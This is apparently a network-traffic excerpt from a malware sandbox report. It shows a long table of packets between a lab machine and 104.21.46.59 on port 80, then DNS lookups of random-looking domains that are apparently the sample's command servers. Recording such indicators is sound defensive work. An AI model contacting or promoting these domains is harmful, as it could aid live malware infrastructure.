Dec 19, 2023 03:22:45.190773010 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.190798044 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.190807104 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.190818071 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.190850019 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.191315889 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.191359997 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.191368103 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.191406965 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.191406965 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.191416025 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.191442966 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.191485882 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.191489935 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.191502094 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.191546917 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.191548109 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.191581011 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.192199945 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.192239046 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.192257881 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.192276955 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.192281961 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.192325115 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.192336082 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.192348003 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.192359924 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.192359924 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.192379951 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.192383051 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.192393064 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.192446947 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.193052053 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.193064928 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.193116903 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.193121910 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.193170071 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.193223953 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.193233013 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.193237066 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.193249941 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.193253040 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.193285942 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.193293095 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.193298101 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.193336010 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.194048882 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.194051981 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.194078922 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.194098949 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.194103003 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.194147110 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.194147110 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.194210052 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.194236040 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.194268942 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.194281101 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.194293022 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.194339991 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.194365025 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.194997072 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.195040941 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.195048094 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.195079088 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.195094109 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.195095062 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.195117950 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.195152044 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.195171118 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.195223093 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.195235014 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.195266962 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.195271969 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.195271969 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.195734024 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.195965052 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.196022987 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.196054935 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.196073055 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.196077108 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.196103096 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.196104050 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.196259975 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.196269989 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.196309090 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.196772099 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.196834087 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.196846008 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.196875095 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.196887016 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.196903944 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.196909904 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.196955919 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.197035074 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.197047949 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.197081089 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.197094917 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.197098017 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.197720051 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.197770119 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.197782993 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.197850943 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.197863102 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.197875023 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.197906971 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.197933912 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.197956085 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.197969913 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.198004007 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.198009968 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.198024035 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.198071957 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.198498011 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.198662043 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.198707104 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.198746920 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.198755980 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.198780060 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.198821068 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.198847055 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.198869944 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.198880911 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.198888063 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.198930979 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.198980093 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.199007988 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.199733973 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.199752092 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.199781895 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.199796915 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.199841976 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.199846029 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.199875116 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.199914932 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.199917078 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.199954987 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.199997902 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.200006962 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.200069904 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.200625896 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.200673103 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.200683117 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.200695992 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.200707912 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.200753927 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.200759888 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.200759888 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.200789928 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.200826883 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.200844049 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.200855970 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.200866938 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.200897932 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.201330900 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.201630116 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.201642990 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.201687098 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.201728106 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.201740026 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.201750994 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.201771975 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.201778889 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.201808929 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.201827049 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.201872110 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.201916933 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.201931000 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.202332020 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.202617884 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.202670097 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.202685118 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.202718019 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.202760935 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.202807903 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.202853918 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.202858925 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.203027010 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.203063011 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.203072071 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.203109980 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.203110933 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.203583956 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.203632116 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.203636885 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.203696012 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.203741074 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.203805923 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.203862906 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.204145908 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.204193115 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.204210043 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.204225063 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.204265118 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.204277039 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.204291105 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.204315901 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.204332113 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.204361916 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.204375982 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.204405069 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.204426050 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.204427004 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.205037117 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.205111980 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.205127001 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.205151081 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.205171108 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.205199003 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.205223083 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.205300093 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.205312967 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.205327034 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.205341101 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.205357075 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.205363035 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.205372095 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.205431938 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.206054926 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.206068993 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.206124067 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.206130028 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.206180096 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.206221104 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.206223011 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.206269979 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.206304073 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.206326008 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.206351995 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.206379890 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.206383944 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.207052946 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.207082987 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.207104921 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.207139015 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.207182884 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.207226992 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.207256079 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.207314014 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.207326889 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.207360029 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.207377911 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.207379103 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.207391977 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.207433939 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.208089113 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.208102942 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.208127975 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.208174944 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.208185911 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.208237886 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.208251953 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.208283901 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.208295107 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.208302975 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.208352089 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.208365917 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.208404064 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.209090948 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.209131956 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.209180117 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.209232092 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.209247112 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.209275961 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.209304094 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.209373951 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.209419012 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.209434986 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.209475994 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.209518909 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.209563971 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.209611893 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.209990978 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.210266113 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.210314035 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.210342884 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.210413933 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.210453987 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.210459948 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.210500002 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.210577011 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.210621119 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.210630894 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.210664988 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.210705996 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.210957050 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.210977077 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.211002111 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.211025953 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.211040020 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.211081982 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.211138964 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.211520910 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.211535931 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.211568117 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.211615086 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.213217974 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.213229895 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.213259935 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.213275909 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.213303089 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.213309050 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.213324070 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.213373899 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.213387012 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.213398933 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.213419914 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.213449955 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.213927031 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.213938951 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.213949919 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.213983059 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.213983059 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.214015961 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.214027882 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.214027882 CET	49753	80	192.168.2.4	104.21.46.59
Dec 19, 2023 03:22:45.214040041 CET	80	49753	104.21.46.59	192.168.2.4
Dec 19, 2023 03:22:45.214049101 CET	49753	80	192.168.2.4	104.21.46.59

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 19, 2023 03:22:15.714648962 CET	192.168.2.4	1.1.1.1	0x50b	Standard query (0)	onualituyrs.org	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:22:16.014126062 CET	192.168.2.4	1.1.1.1	0xb2e6	Standard query (0)	sumagulituyo.org	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:22:16.722433090 CET	192.168.2.4	1.1.1.1	0x937b	Standard query (0)	snukerukeutit.org	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:22:17.423316002 CET	192.168.2.4	1.1.1.1	0xdcde	Standard query (0)	lightseinsteniki.org	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:22:18.766402960 CET	192.168.2.4	1.1.1.1	0xc762	Standard query (0)	liuliuoumumy.org	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:22:20.148921967 CET	192.168.2.4	1.1.1.1	0x1a43	Standard query (0)	stualialuyastrelia.net	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:22:27.309215069 CET	192.168.2.4	1.1.1.1	0x38b8	Standard query (0)	reviveincapablewew.pw	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:22:27.444683075 CET	192.168.2.4	1.1.1.1	0xb244	Standard query (0)	dayfarrichjwclik.fun	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:22:31.577825069 CET	192.168.2.4	1.1.1.1	0x514a	Standard query (0)	ftpvoyager.cc	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:22:32.304132938 CET	192.168.2.4	1.1.1.1	0x8609	Standard query (0)	reviveincapablewew.pw	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:22:32.577249050 CET	192.168.2.4	1.1.1.1	0x514a	Standard query (0)	ftpvoyager.cc	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:22:33.577166080 CET	192.168.2.4	1.1.1.1	0x514a	Standard query (0)	ftpvoyager.cc	A (IP address)	IN (0x0001)	false
